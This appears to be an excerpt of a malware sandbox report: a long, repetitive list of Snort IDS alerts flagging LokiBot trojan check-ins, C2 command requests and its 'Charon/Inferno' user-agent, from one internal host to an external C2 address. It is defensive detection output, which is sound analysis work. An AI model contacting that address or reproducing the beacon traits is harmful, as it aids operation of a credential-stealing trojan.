Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49781 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49782 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49782 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49782 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49783 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49783 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49783 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49784 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49784 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49784 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49785 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49785 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49785 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49786 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49786 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49786 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49787 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49787 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49787 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49788 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49788 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49788 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49789 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49789 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49789 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49790 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49790 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49790 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49791 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49791 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49791 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49792 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49792 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49792 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49793 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49793 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49793 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49794 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49794 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49794 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49795 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49795 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49795 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49796 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49796 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49796 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49798 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49798 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49798 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49799 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49799 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49799 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49801 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49801 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49801 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49802 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49802 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49802 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49803 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49803 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49803 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49805 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49805 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49805 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49806 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49806 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49806 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49807 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49807 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49807 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49808 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49808 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49808 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49809 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49809 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49809 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49810 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49810 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49810 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49811 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49811 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49811 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49812 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49812 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49812 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49813 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49813 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49813 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49814 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49814 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49814 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49815 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49815 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49815 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49817 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49817 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49817 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49818 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49818 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49818 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49819 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49819 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49819 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49820 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49820 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49820 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49821 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49821 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49821 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49822 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49822 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49822 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49824 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49824 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49824 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49825 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49825 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49825 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49826 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49826 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49826 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49827 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49827 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49827 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49828 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49828 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49828 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49829 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49829 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49829 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49830 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49830 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49830 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49831 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49831 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49831 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49832 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49832 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49832 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49833 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49833 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49833 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49834 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49834 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49834 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49835 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49835 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49835 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49836 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49836 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49836 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49837 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49837 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49837 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49838 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49838 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49838 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49839 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49839 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49839 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49840 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49840 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49840 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49841 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49841 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49841 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49842 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49842 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49842 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49843 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49843 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49843 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49844 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49844 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49844 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49845 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49845 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49845 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49846 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49846 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49846 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49847 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49847 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49847 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49848 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49848 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49848 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49849 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49849 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49849 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49850 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49850 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49850 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49851 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49851 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49851 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49852 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49852 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49852 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49853 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49853 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49853 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49854 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49854 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49854 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49855 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49855 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49855 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49856 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49856 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49856 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49857 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49857 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49857 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49858 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49858 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49858 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49859 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49859 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49859 -> 172.67.155.45:80
